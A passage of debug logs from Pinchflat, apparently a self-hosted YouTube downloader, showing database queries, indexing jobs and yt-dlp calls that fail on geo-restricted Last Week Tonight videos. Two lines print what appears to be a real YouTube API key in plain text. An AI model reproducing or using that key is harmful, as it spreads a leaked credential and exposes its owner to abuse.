(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 16:56:41.324 [debug] QUERY OK source="media_items" db=2.1ms idle=272.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:56:41.325 [debug] QUERY OK source="tasks" db=0.1ms idle=268.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800088, 7, ~U[2026-02-10 22:56:41Z], ~U[2026-02-10 22:56:41Z]] 16:56:41.325 [info] {"args":{"id":7},"id":3800048,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":424379,"event":"job:stop","queue_time":532112,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:41.901 [info] {"args":{"id":20},"id":3800049,"meta":{},"system_time":1770764201901666786,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:41.902 [debug] QUERY OK source="sources" db=0.2ms idle=576.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:56:41.902 [debug] QUERY OK source="settings" db=0.0ms idle=576.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:41.902 [debug] QUERY OK source="media_profiles" db=0.1ms idle=570.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:41.902 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:41.902 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:56:41.902 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:41.902 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:42.014 [debug] QUERY OK source="media_items" db=0.6ms idle=111.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 16:56:42.015 [debug] QUERY OK source="media_items" db=0.3ms idle=112.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:56:42.016 [debug] QUERY OK source="tasks" db=0.1ms idle=113.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800089, 20, ~U[2026-02-10 22:56:42Z], ~U[2026-02-10 22:56:42Z]] 16:56:42.016 [info] {"args":{"id":20},"id":3800049,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":114701,"event":"job:stop","queue_time":570642,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:57.918 [info] {"args":{"id":6},"id":3800050,"meta":{},"system_time":1770764217918703980,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:57.919 [debug] QUERY OK source="sources" db=0.1ms idle=40.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:56:57.919 [debug] QUERY OK source="settings" db=0.0ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:57.919 [debug] QUERY OK source="media_profiles" db=0.1ms idle=40.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:57.919 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:57.919 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 16:56:57.919 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:57.919 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:58.012 [debug] QUERY OK source="media_items" db=0.5ms idle=93.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 16:56:58.013 [debug] QUERY OK source="settings" db=0.0ms idle=94.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:58.013 [debug] QUERY OK source="settings" db=0.0ms idle=94.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:58.013 [debug] Running yt-dlp command for action: get_media_attributes 16:56:58.018 [debug] QUERY OK source="settings" db=0.0ms idle=99.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:58.018 [debug] QUERY OK source="settings" db=0.0ms idle=99.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:58.018 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:58.019 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/40/3b/403bc29cc4d73140718ff640b513ba4436edaec268c03c7f10c8919f482934a5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:56:58.778 [info] {"source":"oban","duration":10126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:59.449 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/40/3b/403bc29cc4d73140718ff640b513ba4436edaec268c03c7f10c8919f482934a5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:56:59.449 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:56:59.449 [debug] QUERY OK source="settings" db=0.1ms idle=1430.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:59.449 [debug] QUERY OK source="settings" db=0.0ms idle=1430.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:59.449 [debug] Running yt-dlp command for action: get_media_attributes 16:56:59.452 [debug] QUERY OK source="settings" db=0.0ms idle=1433.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:59.452 [debug] QUERY OK source="settings" db=0.0ms idle=673.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:59.452 [debug] QUERY OK source="settings" db=0.0ms idle=538.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:59.452 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/16/9a/169ae91111933998689650bf2a165bcf66c61a752fd94d611913494dff5ed72e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:57:00.047 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:00.988 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/16/9a/169ae91111933998689650bf2a165bcf66c61a752fd94d611913494dff5ed72e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean 